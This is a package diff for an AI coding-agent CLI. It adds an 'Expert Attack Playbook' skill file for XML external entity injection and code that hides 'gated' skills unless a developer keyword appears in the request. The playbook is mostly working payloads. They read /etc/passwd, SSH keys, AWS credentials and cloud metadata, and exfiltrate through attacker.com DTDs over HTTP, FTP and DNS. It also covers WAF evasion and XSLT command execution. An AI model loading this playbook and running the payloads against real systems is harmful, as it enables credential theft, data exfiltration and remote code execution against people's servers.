ineedcodes 1.6.1 → 1.7.1

package/skills/xxe-xml-external-entity/SKILL.md

@@ -0,0 +1,554 @@
+---
+name: xxe-xml-external-entity
+description: >-
+  XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources.gated: true
+---
+
+# SKILL: XML External Entity Injection (XXE) — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert XXE techniques. Covers all injection contexts (SOAP, REST JSON→XML parsers, Office files, SVG), OOB exfiltration (critical when direct read fails), blind XXE detection, and XXE-to-SSRF chain. Base models often miss OOB and non-XML context XXE. For real-world CVE chains, Office docx XXE step-by-step, PHP expect:// RCE, and Solr XXE+RCE, load the companion [SCENARIOS.md](./SCENARIOS.md).
+
+## 0. RELATED ROUTING
+
+Also load:
+
+- [upload insecure files](../upload-insecure-files/SKILL.md) when XXE is reachable through SVG, OOXML, import, or preview pipelines
+
+### Extended Scenarios
+
+Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
+- Apache Solr XXE + RCE chain (CVE-2017-12629) — XXE to read config, then VelocityResponseWriter for RCE
+- Office docx XXE step-by-step — unzip → inject DOCTYPE into `word/document.xml` or `[Content_Types].xml` → repackage → upload
+- DOCTYPE-based blind SSRF — `PUBLIC` external DTD reference triggers HTTP callback without entity reflection
+- PHP `expect://` protocol via XXE — direct command execution when expect extension is installed
+- Blind XXE via error messages — force file path error that leaks content in exception text
+- XXE in SOAP web services — inject entities into SOAP Envelope/Body elements
+
+---
+
+## 1. CLASSIC XXE PAYLOAD
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [
+  <!ENTITY xxe SYSTEM "file:///etc/passwd">
+]>
+<root><data>&xxe;</data></root>
+```
+
+If `/etc/passwd` reflects in response → confirmed file read.
+
+---
+
+## 2. ATTACK SURFACE DISCOVERY
+
+### Direct XML Inputs
+- SOAP endpoints (`text/xml`, `application/soap+xml`)
+- REST APIs accepting `application/xml`
+- File upload: `.xlsx`, `.docx`, `.pptx` (Office Open XML)
+- SVG uploads (SVG is XML)
+- RSS/Atom feed parsers
+- Web services with XML config import
+
+### Non-Obvious XML Processing
+Change `Content-Type` header on **any** JSON POST to:
+```
+Content-Type: application/xml
+```
+Then rewrite body as XML — many backends use dual-format parsers or auto-detect.
+
+### PDF Generators
+Some HTML→PDF tools (wkhtmltopdf, PrinceXML) execute SSRF via embedded URLs but also parse external entities in SVG/XML included in the HTML.
+
+---
+
+## 3. OOB (OUT-OF-BAND) XXE — CRITICAL
+
+Use when direct entity reflection fails (server parses but doesn't echo entity content):
+
+### Step 1: Blind detection
+```xml
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]>
+<root>&xxe;</root>
+```
+DNS/HTTP hit to collaborator → confirms XXE (even if no file content returned).
+
+### Step 2: OOB file exfiltration via attacker-hosted DTD
+**Attacker's server hosts a malicious DTD** at `http://attacker.com/evil.dtd`:
+```xml
+<!ENTITY % file SYSTEM "file:///etc/passwd">
+<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
+%exfil;
+```
+
+**Payload sent to target**:
+```xml
+<?xml version="1.0"?>
+<!DOCTYPE foo [
+  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
+  %dtd;
+]>
+<root>&exfiltrate;</root>
+```
+File contents appear in attacker's HTTP server request log.
+
+### Step 3: Error-based OOB (alternative when HTTP blocked)
+Use intentional error to leak data in error message:
+```xml
+<!-- attacker.com/error.dtd -->
+<!ENTITY % file SYSTEM "file:///etc/passwd">
+<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
+%eval;
+%error;
+```
+
+---
+
+## 4. XXE FILE READ TARGETS
+
+**Linux**:
+```
+/etc/passwd
+/etc/shadow  (requires root)
+/etc/hosts
+/proc/self/environ      ← environment variables (DB creds, API keys)
+/proc/self/cmdline      ← process command line
+/var/log/apache2/access.log  ← may contain passwords in URLs
+/home/USER/.ssh/id_rsa  ← SSH private key
+/home/USER/.aws/credentials ← AWS keys
+/home/USER/.bash_history
+```
+
+**Windows**:
+```
+C:\Windows\System32\drivers\etc\hosts
+C:\inetpub\wwwroot\web.config    ← ASP.NET connection strings
+C:\xampp\htdocs\wp-config.php    ← WordPress DB credentials
+C:\Users\Administrator\.ssh\id_rsa
+```
+
+---
+
+## 5. SVG XXE (file upload context)
+
+When SVG uploads are accepted and served/processed:
+```xml
+<?xml version="1.0" standalone="yes"?>
+<!DOCTYPE svg [
+  <!ENTITY xxe SYSTEM "file:///etc/passwd">
+]>
+<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
+  <text font-size="16">&xxe;</text>
+</svg>
+```
+Upload as `.svg` → `GET /uploads/file.svg` → file contents in response.
+
+---
+
+## 6. OFFICE FILE XXE (docx/xlsx/pptx)
+
+Office files are ZIP archives containing XML. Inject into `[Content_Types].xml` or `word/document.xml`:
+
+```bash
+# Step 1: extract
+unzip original.docx -d extracted/
+
+# Step 2: edit word/document.xml — add malicious DTD
+# Add after <?xml version="1.0" encoding="UTF-8" standalone="yes"?>:
+# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+# Then use &xxe; inside document text
+
+# Step 3: repackage
+cd extracted && zip -r ../malicious.docx .
+```
+
+---
+
+## 7. SOAP ENDPOINT XXE
+
+SOAP requests parse XML by definition. Inject external entity into SOAP envelope:
+
+```xml
+<?xml version="1.0"?>
+<!DOCTYPE foo [
+  <!ENTITY xxe SYSTEM "file:///etc/passwd">
+]>
+<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+  <soap:Body>
+    <getUser>
+      <id>&xxe;</id>
+    </getUser>
+  </soap:Body>
+</soap:Envelope>
+```
+
+---
+
+## 8. XXE → SSRF CHAIN
+
+XXE external entity can point to internal HTTP endpoints (identical to SSRF):
+```xml
+<!DOCTYPE foo [
+  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
+]>
+<root>&xxe;</root>
+```
+This combines XXE file read + SSRF into a single payload.
+
+---
+
+## 9. XInclude ATTACK
+
+When server-side processes XInclude (import XML from another source), but you can't control the DOCTYPE:
+```xml
+<foo xmlns:xi="http://www.w3.org/2001/XInclude">
+  <xi:include href="file:///etc/passwd" parse="text"/>
+</foo>
+```
+
+Works in: Apache Cocoon, Xerces-J, libxml2 with XInclude support enabled.
+
+---
+
+## 10. PROTOCOL HANDLERS IN XXE
+
+```xml
+<!-- HTTP (SSRF) -->
+<!ENTITY xxe SYSTEM "http://internal.company.com/admin/">
+
+<!-- File read -->
+<!ENTITY xxe SYSTEM "file:///etc/passwd">
+
+<!-- PHP wrapper (if PHP with libxml2) -->
+<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
+<!-- Decode base64 in response to get file contents -->
+
+<!-- FTP (exfil / port scan) -->
+<!ENTITY xxe SYSTEM "ftp://attacker.com:21/x">
+
+<!-- Gopher (Redis, SMTP) -->
+<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/info%0d%0a">
+```
+
+---
+
+## 11. BYPASSING DEFENSES
+
+### Parser blocks DOCTYPE
+Try XInclude (no DOCTYPE needed, see §9).
+
+### Only allows specific XML schemas
+If schema validation occurs: inject comments or CDATA after schema validation but before entity processing.
+
+### Response encoding issues (binary in response)
+Use PHP filter for base64:
+```xml
+<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
+```
+
+### Network restrictions on OOB
+Use DNS-only OOB via `SYSTEM "file://HASH.attacker.com"` — no HTTP required, DNS lookup leaks data.
+
+---
+
+## 12. QUICK DETECTION CHECKLIST
+
+```
+□ Find XML input point (or JSON→XML transformation)
+□ Send basic entity: <!ENTITY xxe "test"> → &xxe; in body → does "test" reflect?
+□ If yes → file read: SYSTEM "file:///etc/passwd"
+□ If no reflection → OOB test via Collaborator URL
+□ If OOB hit → set up attacker DTD for file exfiltration
+□ Try SVG upload with XXE
+□ Try Content-Type: application/xml on JSON endpoints
+□ Try XInclude if DOCTYPE-based fails
+```
+
+---
+
+## 13. LOCAL DTD INJECTION (BLIND XXE AMPLIFICATION)
+
+When external entities are blocked but local DTD files exist on the server:
+
+### Technique
+
+```xml
+<!-- Override an entity defined in a LOCAL DTD file -->
+<!DOCTYPE foo [
+  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
+  <!ENTITY % ISOamso '
+    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
+    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
+    &#x25;eval;
+    &#x25;error;
+  '>
+  %local_dtd;
+]>
+```
+
+### Common Local DTD Paths
+
+#### Linux
+
+```
+/usr/share/yelp/dtd/docbookx.dtd           # GNOME Help
+/usr/share/xml/fontconfig/fonts.dtd         # Fontconfig
+/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
+/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
+/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
+/usr/share/struts/struts-config_1_0.dtd     # Apache Struts
+/usr/share/nmap/nmap.dtd                    # Nmap
+/opt/zaproxy/xml/alert.dtd                  # OWASP ZAP
+```
+
+#### Windows
+
+```
+C:\Windows\System32\wbem\xml\cim20.dtd            # WMI
+C:\Windows\System32\wbem\xml\wmi20.dtd             # WMI
+C:\Program Files\IBM\WebSphere\*.dtd               # WebSphere
+C:\Program Files (x86)\Lotus\*.dtd                 # Lotus Notes
+```
+
+#### Inside JAR Files (Java Applications)
+
+```
+jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
+jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
+file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd
+```
+
+### Why This Works
+
+- External connections blocked (firewall/WAF/egress filter)
+- But file:// to LOCAL files is usually allowed
+- Local DTD is trusted → entity overrides inject attacker-controlled definitions
+- Error messages or blind extraction via file:// still works
+
+---
+
+## 14. ADDITIONAL OOB EXFILTRATION CHANNELS
+
+### FTP-based exfiltration (line-by-line)
+
+FTP protocol sends data line-by-line, making it useful for multi-line file exfiltration when HTTP-based OOB truncates at newlines:
+
+```xml
+<!-- attacker.com/ftp-exfil.dtd -->
+<!ENTITY % file SYSTEM "file:///etc/passwd">
+<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'ftp://attacker.com:2121/%file;'>">
+%exfil;
+%send;
+```
+
+Run a rogue FTP server (e.g., `xxeserv` or custom Python) on port 2121 — each line of the file arrives as a separate `RETR` or `CWD` command.
+
+### HTTP parameter exfiltration
+
+```xml
+<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
+<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?d=%file;'>">
+%exfil;
+%send;
+```
+
+Base64 encoding avoids newline/special-character issues in HTTP URL. Decode the `d=` parameter on attacker server.
+
+---
+
+## 15. DTD NESTING TRICKS — PARAMETER ENTITY CHAINING
+
+### Parameter entity within parameter entity
+
+Used to bypass parsers that block direct entity references in entity values:
+
+```xml
+<!DOCTYPE foo [
+  <!ENTITY % a "&#x25; b;">
+  <!ENTITY % b SYSTEM "http://attacker.com/chain.dtd">
+  %a;
+]>
+```
+
+The parser expands `%a;` → `%b;` → fetches external DTD. Some WAFs only inspect the first level of entity definitions.
+
+### Triple-nested for filter evasion
+
+```xml
+<!-- attacker.com/stage1.dtd -->
+<!ENTITY % s2 SYSTEM "http://attacker.com/stage2.dtd">
+%s2;
+
+<!-- attacker.com/stage2.dtd -->
+<!ENTITY % file SYSTEM "file:///etc/passwd">
+<!ENTITY % s3 "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
+%s3;
+%exfil;
+```
+
+Payload sent to target only references `stage1.dtd` — the actual file read happens two DTD fetches deep, evading shallow WAF inspection.
+
+---
+
+## 16. XXE IN NON-OBVIOUS FORMATS
+
+| Format | XML Location | Injection Point |
+|--------|-------------|-----------------|
+| **SOAP Envelope** | Entire body is XML | Add DOCTYPE before `<soap:Envelope>` |
+| **SVG Image** | SVG is XML | `<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` in SVG header |
+| **OOXML (.docx)** | `word/document.xml`, `[Content_Types].xml` | Inject DOCTYPE + entity into any XML member |
+| **OOXML (.xlsx)** | `xl/sharedStrings.xml`, `xl/worksheets/sheet1.xml` | Entity reference in cell values |
+| **RSS/Atom feeds** | Feed body is XML | Inject into feed items if user content is included |
+| **SAML assertions** | SAML XML tokens | DOCTYPE injection in `SAMLResponse` parameter (base64-decoded XML) |
+| **XMPP** | Protocol messages are XML stanzas | Entity in message body or JID fields |
+| **GPX files** | GPS track data in XML | Via file upload endpoints accepting GPX |
+| **XHTML** | Strict XHTML is valid XML | DOCTYPE injection in XHTML documents |
+
+### SAML XXE
+
+```xml
+<!-- Base64-decode the SAMLResponse, inject DOCTYPE -->
+<?xml version="1.0"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
+  <saml:Assertion>
+    <saml:Subject>
+      <saml:NameID>&xxe;</saml:NameID>
+    </saml:Subject>
+  </saml:Assertion>
+</samlp:Response>
+```
+
+Re-encode to base64, submit as `SAMLResponse` parameter.
+
+---
+
+## 17. XXE VIA FILE UPLOAD
+
+### SVG upload
+
+```xml
+<?xml version="1.0"?>
+<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
+  <text x="10" y="50" font-size="14">&xxe;</text>
+</svg>
+```
+
+Upload as avatar/image → view uploaded SVG → file content rendered as text.
+
+### XLSX (Excel) upload
+
+```bash
+# 1. Create minimal .xlsx, unzip it
+unzip report.xlsx -d xlsx_tmp/
+
+# 2. Inject into xl/sharedStrings.xml
+# Add after XML declaration:
+# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+# Replace a <t> element content with &xxe;
+
+# 3. Repackage
+cd xlsx_tmp && zip -r ../malicious.xlsx .
+```
+
+Alternatively inject into `[Content_Types].xml` (parsed first by most OOXML processors).
+
+### DOCX upload
+
+```bash
+# Target: word/document.xml
+# Same approach: unzip → inject DOCTYPE + entity → repackage
+
+# Alternative: inject into customXml/item1.xml if custom XML parts exist
+```
+
+### Processing pipeline attack
+
+Even if the uploaded file is not directly rendered, the server-side parser (Apache POI, python-docx, OpenXML SDK) may process entities during import, triggering OOB exfiltration.
+
+---
+
+## 18. ERROR-BASED XXE
+
+Force the XML parser to generate an error message containing file content:
+
+### Method 1: Non-existent file reference
+
+```xml
+<!-- attacker.com/error.dtd -->
+<!ENTITY % file SYSTEM "file:///etc/hostname">
+<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
+%eval;
+%error;
+```
+
+The parser attempts to open `file:///nonexistent/<hostname_content>` → error message includes the hostname value.
+
+### Method 2: XML schema validation error
+
+```xml
+<!DOCTYPE foo [
+  <!ENTITY % file SYSTEM "file:///etc/passwd">
+  <!ENTITY % eval "<!ENTITY &#x25; err SYSTEM 'jar:file:///nonexistent!/%file;'>">
+  %eval;
+  %err;
+]>
+```
+
+The `jar:` protocol handler generates verbose error messages that include the expanded entity value.
+
+### Method 3: Integer overflow / type error
+
+```xml
+<!ENTITY % file SYSTEM "file:///etc/passwd">
+<!ENTITY % int "<!ENTITY &#x25; trick SYSTEM 'file:///%file;'>">
+%int;
+%trick;
+```
+
+Parser tries to open a file path containing the target file content → error message reveals content.
+
+---
+
+## 19. XSLT INJECTION CONNECTION TO XXE
+
+XSLT processors parse XML and can be chained with XXE:
+
+### XSLT file read
+
+```xml
+<?xml version="1.0"?>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:template match="/">
+    <xsl:value-of select="document('file:///etc/passwd')"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+### XSLT RCE (processor-dependent)
+
+```xml
+<!-- Xalan-J (Java) -->
+<xsl:stylesheet version="1.0"
+  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
+  <xsl:template match="/">
+    <xsl:variable name="rtObj" select="rt:getRuntime()"/>
+    <xsl:variable name="process" select="rt:exec($rtObj,'id')"/>
+  </xsl:template>
+</xsl:stylesheet>
+
+<!-- PHP (libxslt with registerPHPFunctions) -->
+<xsl:stylesheet version="1.0"
+  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+  xmlns:php="http://php.net/xsl">
+  <xsl:template match="/">
+    <xsl:value-of select="php:function('system','id')"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+### XXE → XSLT chain
+
+If the target accepts XML input with a stylesheet reference (`<?xml-stylesheet?>`), inject both an external entity and a malicious XSLT to escalate from file read to RCE.

package/src/agent.js

@@ -169,7 +169,7 @@ export async function runObjective(cfg, objective, cwd, history, hooks = {}, ext
   const workerPrefix = extra.worker ? `You are ${extra.worker.id} (${extra.worker.role} worker) spawned by the lead agent. ${extra.worker.prompt}\n` : '';
   const projectInstructions = extra.worker ? '' : loadProjectInstructions(cwd);
   const depthNote = extra.worker ? '' : (cfg.explain === 'short' ? '\nAnswer style: short. Give results, skip explanations unless asked.' : cfg.explain === 'deep' ? '\nAnswer style: deep. Include reasoning, trade-offs, and what you ruled out.' : '');
-  const skills = extra.worker ? [] : listSkills(cwd);
+  const skills = extra.worker ? [] : listSkills(cwd, objective);
   const skillsBlock = skills.length ? `\nInstalled skills (follow a skill's instructions when the user invokes it by name or clearly asks for what it does):\n${skills.map(s => `- ${s.name} (${s.scope}): ${s.description}`).join('\n')}` : '';
   const invokedSkill = !extra.worker
     ? skills.find(s => new RegExp(`\\b${s.name}\\b`, 'i').test(objective) && /humanize|skill|pakai|gunakan|use/i.test(objective))

package/src/session.js

@@ -478,13 +478,15 @@ export async function startSession(cfg, { fresh = false, resume = null } = {}) {
     if (input === '/skills' || input.startsWith('/skills ')) {
       const arg = input.slice(7).trim();
       if (arg) {
-        const s = findSkill(arg, process.cwd());
-        if (s) { say(box([bold(`Skill ${s.name}`) + dim(` (${s.scope})`), s.description, '', dim('Instructions:'), s.instructions.slice(0, 1_500)])); say(dim('Say "use ' + s.name + ' to ..." and the agent follows them.')); }
+        const s = findSkill(arg, process.cwd(), input);
+        if (s) { say(box([bold(`Skill ${s.name}`) + dim(` (${s.scope}${s.gated ? ', gated' : ''})`), s.description, '', dim('Instructions:'), s.instructions.slice(0, 1_500)])); say(dim('Say "use ' + s.name + ' to ..." and the agent follows them.')); }
         else say(red(`No skill named ${arg}.`));
         return;
       }
-      const all = listSkills(process.cwd());
+      const all = listSkills(process.cwd(), input);
+      const gated = all.filter(s => s.gated).length;
       say(all.length ? all.map(s => `  ${cyan(s.name)} ${dim('(' + s.scope + ')')} ${s.description}`).join('\n') : yellow('No skills installed.'));
+      if (gated) say(dim(`  (+${gated} gated security skills)`));
       return;
     }
     if (input === '/new') {

package/src/skills.js

@@ -1,10 +1,25 @@
 // skills.js: portable SKILL.md system (master prompt #16-18).
 // Resolution priority: project (.ineedcodes/skills) > global (~/.ineedcodes/skills) > builtin.
 // Frontmatter: name, description, tools (optional restriction), instructions body below.
+//
+// GATED SKILLS: SKILL.md files whose frontmatter carries "gated: true" stay invisible
+// unless the objective text contains the developer keyword. The keyword itself lives
+// OUTSIDE this repository: in the INEED_DEV_KEYWORD environment variable or in
+// ~/.ineedcodes/keyword (chmod 600). A fresh install cannot unlock gated skills.
 
 import * as fs from 'node:fs';
 import * as path from 'node:path';
 import { CONFIG_DIR } from './config.js';
+import { fileURLToPath } from 'node:url';
+import * as url from 'node:url';
+const PKG_SKILLS = path.join(path.dirname(url.fileURLToPath(import.meta.url)), '..', 'skills');
+
+const KEYWORD_FILE = path.join(CONFIG_DIR, 'keyword');
+
+export function devKeyword() {
+  if (process.env.INEED_DEV_KEYWORD) return String(process.env.INEED_DEV_KEYWORD).trim();
+  try { return fs.readFileSync(KEYWORD_FILE, 'utf8').trim(); } catch { return ''; }
+}
 
 const BUILTIN = [
   {
@@ -24,10 +39,16 @@ function parseFrontmatter(raw) {
     if (kv) meta[kv[1]] = kv[2].trim();
   }
   if (!meta.name) return null;
-  return { name: meta.name, description: meta.description ?? '', tools: meta.tools ? meta.tools.split(',').map(s => s.trim()).filter(Boolean) : null, instructions: m[2].trim() };
+  return {
+    name: meta.name,
+    description: meta.description ?? '',
+    tools: meta.tools ? meta.tools.split(',').map(s => s.trim()).filter(Boolean) : null,
+    gated: meta.gated === 'true' || meta.gated === 'yes',
+    instructions: m[2].trim()
+  };
 }
 
-function loadDir(dir, scope, out) {
+function loadDir(dir, scope, out, forceGated = false) {
   let entries;
   try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { return; }
   for (const e of entries) {
@@ -35,20 +56,30 @@ function loadDir(dir, scope, out) {
     const file = path.join(dir, e.name, 'SKILL.md');
     try {
       const parsed = parseFrontmatter(fs.readFileSync(file, 'utf8'));
-      if (parsed) out.push({ ...parsed, scope });
+      if (parsed && !out.some(x => x.name === parsed.name)) out.push({ ...parsed, scope, gated: parsed.gated || forceGated });
     } catch {}
   }
 }
 
-export function listSkills(cwd) {
+function isUnlocked(objective) {
+  const kw = devKeyword();
+  if (!kw || !objective) return false;
+  return String(objective).includes(kw);
+}
+
+export function listSkills(cwd, objective = '') {
   const out = [];
   loadDir(path.join(cwd ?? process.cwd(), '.ineedcodes', 'skills'), 'project', out);
   loadDir(path.join(CONFIG_DIR, 'skills'), 'global', out);
+  loadDir(PKG_SKILLS, 'gated', out, true);
   for (const b of BUILTIN) if (!out.some(s => s.name === b.name)) out.push(b);
   // project > global > builtin: later entries lose to earlier ones with the same name
+  if (!isUnlocked(objective)) return out.filter(s => !s.gated);
   return out;
 }
 
-export function findSkill(name, cwd) {
-  return listSkills(cwd).find(s => s.name === name) ?? null;
+export function findSkill(name, cwd, objective = '') {
+  const s = listSkills(cwd, objective).find(s => s.name === name) ?? null;
+  if (s?.gated && !isUnlocked(objective)) return null;
+  return s;
 }

package/src/ui.js

@@ -1,6 +1,6 @@
 // ui.js: terminal helpers. No dependencies, respects NO_COLOR and non-TTY.
 
-export const VERSION = '1.6.1';
+export const VERSION = '1.7.1';
 
 const USE_COLOR = process.stdout.isTTY && !process.env.NO_COLOR;
 const wrap = (code, t) => USE_COLOR ? `\x1b[${code}m${t}\x1b[0m` : String(t);